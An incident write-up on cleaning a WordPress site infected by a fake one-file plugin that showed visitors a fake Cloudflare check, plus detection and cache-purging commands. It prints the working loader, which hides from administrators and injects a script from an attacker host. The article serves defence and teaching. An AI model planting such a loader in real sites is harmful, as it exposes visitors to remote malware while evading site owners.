The site owner opened their homepage and saw nothing wrong. Their visitors opened the same homepage and got a Cloudflare-style "Verify you are human" screen that asked them to paste a command into their computer. Both were right. The site served two different pages, depending on who was asking.
This article walks through the whole thing: a fake WordPress plugin about 30 lines long, the one if statement that kept it invisible to the people who could have spotted it, and why deleting it did not make the site clean.
🎭 The Symptom: Two Versions of the Same Page
The reports all had the same shape:
- Visitors (and an external site scanner) saw a fake Cloudflare challenge on top of the real site.
- The owner, logged in to WordPress, saw the normal site every time.
- The server's security scanner had nothing recent to report.
When the person who owns the site can't reproduce a problem, the problem usually knows who it is talking to. In WordPress, the easiest way to find that out is to ask the logged-in user what they're allowed to do.
🔌 The Loader: A Plugin With No Upstream
Among the active plugins, one had a plausible two-word name, no readme, no version history and no listing on wordpress.org. Its folder held a single PHP file of under 1 KB. Here it is, simplified, with the domain made unclickable:
<?php
/*
Plugin Name: Light Keystone
Description: Performance helper.
Version: 1.0
*/
function lk_inject() {
// The whole trick: never show the payload to anyone who can manage the site
if ( current_user_can( 'manage_options' ) ) {
return;
}
$src = 'https://cdn.coredelivr[.]com/smpackage.js'; // named to look like a real public CDN
echo '<script src="' . $src . '?v=' . time() . '"></script>';
}
add_action( 'wp_head', 'lk_inject', 1 );
add_action( 'wp_footer', 'lk_inject', 1 );
There's nothing to decode: no eval, no base64_decode, no obfuscation at all. That's exactly why a pattern-based scan has a hard time with it. The PHP is harmless-looking glue. The real payload, the fake Cloudflare overlay, lives on the attacker's server and can change whenever they want.
🙈 Why the Admin Never Saw It
One line does the hiding:
if ( current_user_can( 'manage_options' ) ) { return; }
manage_options is the capability that administrators have. So:
- Logged-in admin: the function returns early and the page is clean.
- Everyone else (anonymous visitors, customers, crawlers, scanners): the script tag is printed in the
<head>and again before</body>.
Two more details make it sturdier:
- Priority
1means it runs before most theme and plugin output, so it lands near the top of the page. ?v=time()adds a cache-busting query string, so browsers always fetch the latest version of the remote script. Remember this one, because it comes back later.
🧭 How It Got There
No exploit chain was needed. The access logs showed a POST to /wp-admin/update.php?action=upload-plugin, the normal "Upload Plugin" button, just before the plugin file appeared. The user table explained who pressed it: two administrator accounts with random-looking names, created days apart, that the owner didn't recognize.
Once someone has an admin login, installing a "plugin" is a feature, not a vulnerability. That's also why reviewing your administrators matters as much as patching.
🔍 Finding It: Detection Steps You Can Reuse
1. Look at the page the way a stranger does. Never test while logged in. Compare an anonymous fetch with what you see in your browser:
# Anonymous view: list every external script the homepage loads
curl -s https://your-site.example/ | grep -oE '<script[^>]+src="[^"]+"' | sort -u
2. Find active plugins that don't exist anywhere else.
wp plugin list --status=active --fields=name,version,update_package
# Anything with no version, no update source and a name you don't recognise deserves a look
wp plugin verify-checksums --all # plugins that aren't on wordpress.org will report they can't be verified
3. Grep plugins for the behaviour, not the obfuscation. This loader had no "malware-looking" functions, but it did have a very specific combination: an admin check, a hook into the page head, and an external script.
cd wp-content/plugins
grep -rlE "current_user_can\(\s*['\"]manage_options" --include=*.php . \
| xargs grep -lE "wp_head|wp_footer" \
| xargs grep -lE "<script[^>]+src=|https?://" 2>/dev/null
Legitimate plugins match this too, so treat the output as a short list to read by hand, not as a verdict. A one-file plugin with no upstream that prints a third-party script only for non-admins is about as clear as it gets.
4. Check the file's story. stat the file, then search the access log at that timestamp for upload-plugin or file-manager requests. Then list administrators with their registration dates:
wp user list --role=administrator --fields=ID,user_login,user_registered
🧊 Deleted… and Still Infected
The plugin was removed and taken out of the active_plugins option. The next anonymous request still carried the malicious script tag. The database was searched again, the theme options too, and no other injector turned up.
The proof came from that ?v=time() token. If live PHP were generating the page, the number would change every second. So: fetch the page twice, two seconds apart.
T1=$(curl -s -H "Host: your-site.example" http://127.0.0.1/ | grep -o 'smpackage\.js?v=[0-9]*')
sleep 2
T2=$(curl -s -H "Host: your-site.example" http://127.0.0.1/ | grep -o 'smpackage\.js?v=[0-9]*')
echo "$T1"; echo "$T2"
Both lines printed the same timestamp. No PHP had run: the page was a stored copy made while the plugin was still active. The malware's own cache-buster had become proof that a cache was serving it.
🧅 Peeling the Cache Layers
A typical managed WordPress stack has several independent caches, and clearing one doesn't clear the others:
Visitor → CDN → Nginx (:80/:443) → Varnish (:8080) → backend web server (:8081+) → PHP-FPM
↘ Redis object cache
↘ page-cache plugin files (wp-content/cache/…)
Find out which layer still holds the bad copy by asking each port directly:
ss -tln # which ports are listening?
for port in 80 8080 8081 8082 8083; do
printf "%s: " "$port"
curl -s -H "Host: your-site.example" "http://127.0.0.1:$port/" | grep -q smpackage && echo INFECTED || echo clean
done
Here, the on-disk page cache was already empty. Varnish was holding the infected page. Varnish's admin tool usually isn't available to an account on managed hosting, but a PURGE request through the front web server is:
for path in / /about/ /contact/; do
curl -s -o /dev/null -w "PURGE $path %{http_code}\n" -X PURGE -H "Host: your-site.example" "http://127.0.0.1$path"
done
Then the Redis object cache. On many platforms Redis uses an ACL username and password. A plain -a password fails with WRONGPASS:
grep -A5 "WP_REDIS_CONFIG" wp-config.php # find the user/password the site uses
redis-cli --user <redis_user> --pass '<redis_pass>' FLUSHDB # this database only, never FLUSHALL on shared Redis
Run the port loop again, this time on inner pages too. Every layer must say clean. Purge the CDN last, otherwise it just refills from a dirty origin.
🧹 The Cleanup Checklist
- Back up first: copy the malicious file and take a full database dump.
- Delete the fake plugin folder and remove it from
active_plugins. - Prove the source is gone: the timestamp test should now show a changing value, or no script at all.
- Purge every cache layer: page-cache plugin, Varnish, Redis (your DB only), then the CDN.
- Verify anonymously on every port, over HTTPS, and on several pages.
- Review administrator accounts and remove any you don't recognize. That's the door it came in through.
✅ Takeaways
- "I can't reproduce it" is a clue. Malware that checks
current_user_can()is built for exactly that. Always test logged out. - Small, clean-looking PHP can be the whole infection. Hunt for behaviour (admin check, page-head hook, external script), not just obfuscation.
- Deleting the file is half the job. Until every cache layer is purged, visitors keep getting the infected page.
- A static "dynamic" value means a cache. A timestamp that doesn't change between requests is the quickest way to tell a stored page from a live one.
❓ Frequently asked questions
Why couldn't the site owner see the fake Cloudflare page?
The plugin checked current_user_can('manage_options') and printed nothing for administrators, so only visitors and scanners saw it.
Why was the site still infected after the plugin was deleted?
Varnish and the Redis object cache still held copies of pages generated while the plugin was active. They had to be purged.
How can I tell if a page is cached or freshly generated?
Look for a value that should change on every request, such as a timestamp. If two requests seconds apart return the same value, a cache is serving the page.
How did the fake plugin get installed?
Through the standard Upload Plugin screen, by administrator accounts the site owner did not create.